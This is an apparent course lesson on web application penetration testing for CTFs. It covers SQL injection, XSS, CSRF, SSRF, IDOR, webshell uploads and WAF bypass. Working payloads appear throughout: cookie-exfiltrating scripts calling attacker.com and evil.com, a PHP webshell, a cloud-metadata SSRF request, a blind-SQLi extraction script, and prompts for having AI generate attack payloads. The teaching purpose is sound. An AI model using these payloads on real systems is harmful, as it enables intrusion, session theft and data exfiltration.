Systematically discovering and exploiting web application vulnerabilities using manual techniques, automated tools, and AI-assisted payload generation.
Web application testing techniques are for authorized penetration testing and CTF competitions only. Unauthorized testing of web applications is illegal.
All techniques in this lesson should only be used against:
Violations of the Computer Fraud and Abuse Act (CFAA) and equivalent laws carry serious criminal penalties.
Every HTTP interaction is a potential entry point. Understanding the full surface is the first step to systematic testing.
Attackers probe every aspect of the HTTP protocol for misconfigurations and injection points.
| Vector | What to Test | Example Attack |
|---|---|---|
| HTTP Methods | PUT, DELETE, PATCH enabled? | Upload webshell via PUT |
| Headers | Host, X-Forwarded-For, Referer | Host header injection for password reset |
| Cookies | Secure, HttpOnly, SameSite flags | Session hijacking via XSS |
| Sessions | Token entropy, fixation | Session fixation / prediction |
| APIs | Auth bypass, rate limiting, BOLA | IDOR via API enumeration |
Every part of this request can be an injection point:
POST /api/v1/users/search HTTP/1.1
Host: vulnerable-app.ctf
Cookie: session=eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Content-Type: application/json
X-Forwarded-For: 127.0.0.1
Referer: https://vulnerable-app.ctf/admin
{
"query": "admin' OR 1=1--",
"page": 1,
"sort": "name; ls -la"
}
alg: none (authentication bypass)query, command injection in sortSQL injection remains one of the most dangerous web vulnerabilities. It occurs when user input is concatenated directly into SQL queries without parameterization.
# VULNERABLE - never do this
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
The attacker appends a UNION SELECT to merge their query results with the original. Requires matching the column count and types.
-- Use ORDER BY to find column count
' ORDER BY 1-- - (success)
' ORDER BY 2-- - (success)
' ORDER BY 3-- - (success)
' ORDER BY 4-- - (error! => 3 columns)
' UNION SELECT 'a','b','c'-- -
-- Check which of a/b/c appears in the response
' UNION SELECT username, password, NULL FROM users-- -
' UNION SELECT table_name, NULL, NULL FROM information_schema.tables-- -
' UNION SELECT column_name, NULL, NULL FROM information_schema.columns
WHERE table_name='secret_flags'-- -
When query results are not displayed, use conditional logic to extract data one character at a time by observing differences in application behavior.
-- Does the first character of the admin password = 'a'?
' AND (SELECT SUBSTRING(password,1,1) FROM users
WHERE username='admin')='a'-- -
-- Binary search approach (faster):
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users
WHERE username='admin') > 77-- -
-- Extract database name character by character:
' AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 100-- -
When there is no visible difference in responses, force the database to sleep conditionally. If the response is delayed, the condition was true.
-- MySQL time-based
' AND IF(
(SELECT SUBSTRING(password,1,1) FROM users
WHERE username='admin')='s',
SLEEP(3), 0
)-- -
-- PostgreSQL
'; SELECT CASE WHEN
(SELECT SUBSTRING(password,1,1) FROM users
WHERE username='admin')='s'
THEN pg_sleep(3) ELSE pg_sleep(0) END-- -
-- MSSQL
'; IF (SELECT SUBSTRING(password,1,1) FROM users
WHERE username='admin')='s'
WAITFOR DELAY '0:0:3'-- -
GET /products?category=Gifts'+UNION+SELECT+NULL,username,password+FROM+users-- HTTP/1.1
Host: shop.ctf-challenge.com
Cookie: session=abc123
HTTP/1.1 200 OK
Content-Type: text/html
<table>
<tr><td>Gift Card</td><td>$25.00</td></tr>
<!-- Injected rows from users table -->
<tr><td>admin</td><td>$up3r$ecretP@ss</td></tr>
<tr><td>flag_user</td><td>CTF{sql_union_master}</td></tr>
</table>
The UNION SELECT piggybacks on the product listing query, injecting user credentials directly into the HTML table.
XSS lets an attacker execute arbitrary JavaScript in the context of another user's browser session, enabling cookie theft, session hijacking, keylogging, and phishing.
Payload is in the request (URL, form) and reflected back in the response. Requires victim to click a crafted link.
Payload is saved server-side (database, file) and served to every user who views the page. More dangerous, no click needed.
Payload never touches the server. JavaScript on the page reads attacker-controlled data (URL fragment, postMessage) and inserts it unsafely into the DOM.
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<script>
fetch('https://attacker.com/steal?c='+document.cookie)
</script>
https://vulnerable-app.ctf/search?q=<script>fetch('https://evil.com/log?cookie='+document.cookie)</script>
<h2>Search results for: <script>fetch('https://evil.com/log?cookie='+document.cookie)</script></h2>
<p>No results found.</p>The payload is stored in the database and triggered whenever any user views the affected page.
POST /api/comments HTTP/1.1
Content-Type: application/json
{
"post_id": 42,
"author": "hacker",
"body": "Great post! <img src=x onerror=\"new Image().src='https://evil.com/steal?c='+document.cookie\">"
}
<div class="comment">
<strong>hacker</strong>
<p>Great post! <img src=x onerror="new Image().src='https://evil.com/steal?c='+document.cookie"></p>
</div>
The vulnerability is entirely client-side. Dangerous data flows from a source to a sink without sanitization.
// Source: URL fragment (never sent to server)
const name = new URLSearchParams(location.search).get('name');
// Sink: innerHTML (parses HTML, executes scripts)
document.getElementById('greeting').innerHTML = 'Hello, ' + name + '!';
https://app.ctf/welcome?name=<img src=x onerror=alert(document.cookie)>
| Common Sources | Common Sinks |
|---|---|
location.search, location.hash | innerHTML, outerHTML |
document.referrer | document.write() |
window.name | eval(), setTimeout() |
postMessage data | jQuery.html(), $.append() |
CSRF tricks a logged-in user's browser into making unintended requests to a vulnerable application. The browser automatically attaches cookies, so the request appears legitimate.
<!-- Auto-submitting form that changes admin email -->
<html>
<body onload="document.forms[0].submit()">
<form action="https://bank.ctf/account/settings" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="action" value="change_email">
</form>
</body>
</html>
CSRF tokens, SameSite cookies, Referer/Origin header checks. In CTFs, look for missing or weak implementations of these controls.
SSRF lets an attacker make the server send HTTP requests to arbitrary destinations, including internal services that are not directly accessible.
POST /api/fetch-url HTTP/1.1
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# Server-side code
import requests
url = request.json['url'] # User-controlled!
response = requests.get(url) # Server fetches it
return response.text # Returns internal data
169.254.169.254 (AWS/GCP/Azure credentials)http://localhost:8080/adminhttp://10.0.0.X:PORTfile:///etc/passwdIDOR occurs when an application exposes internal object references (IDs, filenames) without proper authorization checks. Simply changing a number in the URL grants access to another user's data.
-- Legitimate request (your profile)
GET /api/users/1337/profile HTTP/1.1
Authorization: Bearer eyJ...your_token...
-- IDOR attack (someone else's profile)
GET /api/users/1/profile HTTP/1.1
Authorization: Bearer eyJ...your_token...
| Endpoint Pattern | What to Enumerate |
|---|---|
/api/invoices/{id} | Sequential IDs: 1, 2, 3... |
/files/{filename} | Predictable filenames |
/api/orders?user_id={id} | Other user IDs |
/download?file=report_1337.pdf | Path traversal: ../../etc/passwd |
Unrestricted file uploads can lead to remote code execution, XSS, and server-side attacks.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
| Filter | Bypass |
|---|---|
| Extension blacklist (.php) | shell.php5, shell.phtml, shell.php.jpg |
| Content-Type check | Set Content-Type: image/jpeg with PHP body |
| Magic bytes check | Prepend GIF89a before PHP code |
| Extension whitelist (.jpg) | Null byte: shell.php%00.jpg (legacy) |
| Image processing | Embed PHP in EXIF metadata |
Large language models can rapidly generate, mutate, and refine attack payloads for authorized testing. AI acts as an intelligent collaborator that understands context.
I'm testing a search feature in a CTF challenge for SQL injection.
The backend appears to be MySQL. The input is reflected in an error
message when special characters are used. Generate 15 SQL injection
payloads that:
1. Test for UNION-based injection (varying column counts 1-5)
2. Include comment styles for different SQL dialects
3. Try both string and numeric injection contexts
4. Include payloads that extract database version info
In a CTF challenge, user input is reflected inside an HTML attribute:
<input type="text" value="USER_INPUT_HERE">
The application filters <script> tags and the word "javascript".
Generate 10 XSS payloads that:
1. Break out of the attribute context
2. Use event handlers (onfocus, onmouseover, onerror)
3. Bypass the keyword filter using encoding/case tricks
4. Include at least 2 payloads that don't require user interaction
" onfocus="alert(1)" autofocus="
" onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%
"><svg/onload=alert(1)>
" onfocus=alert(1) autofocus tabindex=1 "
"><img src=x onerror=alert(1)//
Traditional fuzzing uses static wordlists. AI generates smart, context-aware wordlists and mutation strategies tailored to the target.
I'm fuzzing a REST API for a CTF. The known endpoints are:
/api/v1/users, /api/v1/products, /api/v1/orders
Generate a wordlist of 30 likely hidden endpoints considering:
1. Common REST patterns (CRUD, admin, debug, internal)
2. API versioning variations (v2, v3, beta)
3. Common backup/development paths
4. Health check and monitoring endpoints
Prompt: "The WAF blocks the word SELECT in SQL injection
attempts. Generate 10 mutation strategies to bypass this filter."
AI Response:
1. Case variation: SeLeCt, sElEcT
2. Inline comments: SEL/**/ECT, S/**/E/**/L/**/E/**/C/**/T
3. URL encoding: %53%45%4C%45%43%54
4. Double URL encoding: %2553%2545%254C%2545%2543%2554
5. Unicode: SELECTusing fullwidth chars
6. Concatenation: CONC/**/AT('SEL','ECT')
7. Hex encoding: 0x53454C454354
8. Using synonyms: FETCH FIRST instead of LIMIT
The industry-standard web application security testing platform. Acts as an intercepting proxy between your browser and the target.
| Type | Use Case |
|---|---|
| Sniper | Single payload position, one at a time |
| Battering Ram | Same payload in all positions simultaneously |
| Pitchfork | Paired payloads across positions (user:pass combos) |
| Cluster Bomb | All payload combinations (brute force) |
Free, open-source alternative to Burp Suite. Excellent for automated scanning and CI/CD integration.
# Docker-based full scan
docker run -t ghcr.io/zaproxy/zaproxy:stable zap-full-scan.py \
-t https://target.ctf \
-r report.html
# API scan with OpenAPI spec
docker run -t ghcr.io/zaproxy/zaproxy:stable zap-api-scan.py \
-t https://target.ctf/openapi.json \
-f openapi \
-r api-report.html
| Feature | ZAP | Burp |
|---|---|---|
| Price | Free | Free (Community) / $449/yr (Pro) |
| Auto scanning | Excellent (free) | Excellent (Pro only) |
| Manual testing | Good | Superior |
| Scripting | Python, JS, Zest | Java, Python (extensions) |
| CI/CD integration | Built-in | Enterprise only |
The most powerful automated SQL injection tool. Handles detection, exploitation, database enumeration, and data extraction.
# Basic detection
sqlmap -u "https://target.ctf/search?q=test" --batch
# Specify POST data
sqlmap -u "https://target.ctf/login" \
--data="username=admin&password=test" \
--batch
# Enumerate databases
sqlmap -u "https://target.ctf/search?q=test" --dbs
# Dump specific table
sqlmap -u "https://target.ctf/search?q=test" \
-D ctf_db -T flags --dump
# Use authenticated session
sqlmap -u "https://target.ctf/api/items?id=1" \
--cookie="session=eyJ0b2tlbiI6ImFiYzEyMyJ9" \
--level=3 --risk=3
# WAF bypass with tamper scripts
sqlmap -u "https://target.ctf/search?q=test" \
--tamper=space2comment,between,randomcase
Always try --level=5 --risk=3 if default detection fails. Use --technique=T for time-based only when other methods are blocked.
A web server scanner that checks for dangerous files, outdated server software, misconfigurations, and known vulnerabilities.
# Basic scan
nikto -h https://target.ctf
# Scan specific port with tuning
nikto -h target.ctf -p 8443 -ssl \
-Tuning 123bde -o report.html -Format html
# Tuning options (what to test)
# 1 - Interesting file / seen in logs
# 2 - Misconfiguration / default files
# 3 - Information disclosure
# b - Software identification
# d - Debug / development files
# e - Remote source inclusion
/phpinfo.php, /.git/HEAD, /robots.txt/index.php.bak, /config.old, /db.sql/admin/, /manager/, /wp-admin/The real power emerges when you use AI not just for payload generation, but as an intelligent coordinator for your entire tool chain.
Prompt: "I'm in a CTF. Here is the Nikto output for the target:
[paste nikto output]
And here is the Burp site map showing these endpoints:
/login, /api/users, /api/search, /upload, /admin (403)
Create a prioritized testing plan:
1. Which endpoints are most likely vulnerable?
2. What specific tests should I run on each?
3. Generate the exact sqlmap and Burp Intruder commands.
4. How might I bypass the 403 on /admin?"
Web Application Firewalls (WAFs) use pattern matching to block malicious requests. Bypass techniques exploit gaps between what the WAF checks and what the application processes.
| Technique | Example | Bypasses |
|---|---|---|
| Case variation | SeLeCt | Case-sensitive rules |
| Inline comments | SEL/**/ECT | Keyword matching |
| Double encoding | %252F = / | Single-pass decoding |
| Whitespace alternatives | SELECT%0a1 | Space-based detection |
| HTTP Parameter Pollution | ?id=1&id=2 UNION SELECT | First-param inspection |
| Chunked encoding | Transfer-Encoding: chunked | Body inspection limits |
| JSON/XML wrapping | {"query":"1 UNION SELECT"} | URL-only inspection |
AI excels at generating creative bypass mutations based on observed WAF behavior.
I'm working on a CTF challenge. The WAF is blocking my SQL injection.
Here's what I've tried and the results:
1. ' OR 1=1-- => BLOCKED (403 Forbidden)
2. ' OR 1=1# => BLOCKED
3. ' oR 1=1-- => BLOCKED (case insensitive detection)
4. '%0aOR%0a1=1-- => BLOCKED (whitespace detection)
5. ' || 1=1-- => PASSED but no injection (syntax issue)
The backend appears to be MySQL. Generate 10 new bypass attempts
that use progressively more creative evasion techniques.
-- Unicode fullwidth OR
' %EF%BC%AF%EF%BC%B2 1=1-- -
-- Double URL-encoded spaces
'%20%4FR%201%3D1--%20-
-- Nested comments
' /*!50000OR*/ 1=1-- -
-- Scientific notation comparison
' OR 1e0=1e0-- -
-- Boolean without OR keyword
' DIV 0 IS NOT NULL-- -
-- Concat-based true condition
' WHERE 'ab'=CONCAT('a','b')-- -
POST /search HTTP/1.1
Host: target.ctf
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
3
q='
5
UNION
7
+SELECT
4
+1,2
9
,password
c
+FROM+users
5
-- -
0
The WAF inspects each chunk individually and never sees the full payload assembled. The backend concatenates all chunks before processing.
-- WAF inspects first parameter; backend uses last (or concatenates)
GET /search?q=safe&q=' UNION SELECT password FROM users-- HTTP/1.1
In real CTFs, flags often require chaining multiple vulnerabilities together. Each vulnerability unlocks access to the next.
/api/users/1 to find admin email address/flag.txt via webshellPrompt: "In this CTF, I've found these individual vulnerabilities:
- IDOR on /api/users (can read other profiles)
- Reflected XSS on /search
- File upload with weak extension filter on /profile/avatar
- SQL error on /api/products?sort=name
Help me map potential attack chains to reach RCE or data exfiltration."
Follow this structured approach for CTF web challenges:
| Phase | Actions | Tools |
|---|---|---|
| 1. Recon | Enumerate endpoints, tech stack, versions | Nikto, Wappalyzer, curl |
| 2. Map | Spider the app, build site map, find params | Burp Spider, ZAP, ffuf |
| 3. Probe | Test each input for injection, fuzz parameters | Burp Repeater, sqlmap |
| 4. Exploit | Develop working exploits, chain vulns | Custom scripts, AI assist |
| 5. Escalate | Pivot from initial access to flag capture | Webshells, SSRF chaining |
Ask AI to write custom exploitation scripts when automated tools fall short.
import requests
import string
url = "https://target.ctf/login"
charset = string.ascii_lowercase + string.digits + "_{}"
extracted = ""
for pos in range(1, 50):
found = False
for char in charset:
payload = f"admin' AND SUBSTRING((" \
f"SELECT flag FROM flags LIMIT 1" \
f"),{pos},1)='{char}'-- -"
resp = requests.post(url, data={
"username": payload,
"password": "anything"
})
if "Welcome" in resp.text: # True condition
extracted += char
print(f"[+] Found: {extracted}")
found = True
break
if not found:
break
print(f"[*] Flag: {extracted}")
Recognize these recurring patterns to solve challenges faster:
| Pattern | Clue | Likely Vulnerability |
|---|---|---|
| Login page with no registration | SQL error on ' | SQL injection auth bypass |
| Search or filter feature | Results change with input | SQLi (UNION or blind) |
| User profile / comments | HTML rendering of input | Stored XSS |
| URL fetcher / preview | "Enter a URL" field | SSRF |
| File upload / avatar | Image upload form | Webshell upload / RCE |
| "View as" or shared links | Token/ID in URL | IDOR |
| Admin bot that "visits URLs" | Report feature | XSS to steal admin cookie |
| JWT in cookie/header | Base64 token | JWT alg:none or key confusion |
Always check /robots.txt, /.git/, /backup/, /.env, and view page source for HTML comments containing hints.
Target: http://ctf-lab:5000 — A vulnerable e-commerce application with 5 hidden flags.
| Flag | Category | Difficulty | Hint |
|---|---|---|---|
| Flag 1 | SQL Injection | Easy | The product search doesn't sanitize input |
| Flag 2 | XSS | Medium | The admin bot reviews reported comments |
| Flag 3 | IDOR | Easy | User profiles use sequential integer IDs |
| Flag 4 | SSRF | Hard | The URL preview feature trusts all inputs |
| Flag 5 | File Upload + RCE | Hard | Avatar upload has a filter — but is it complete? |
/api/users/{id} to find the hidden admin profile with the flaghttp://internal-api:8080/flag/flag.txtLesson 06 dives into authentication and session attacks — JWT exploitation, OAuth flaws, password cracking, and session management vulnerabilities.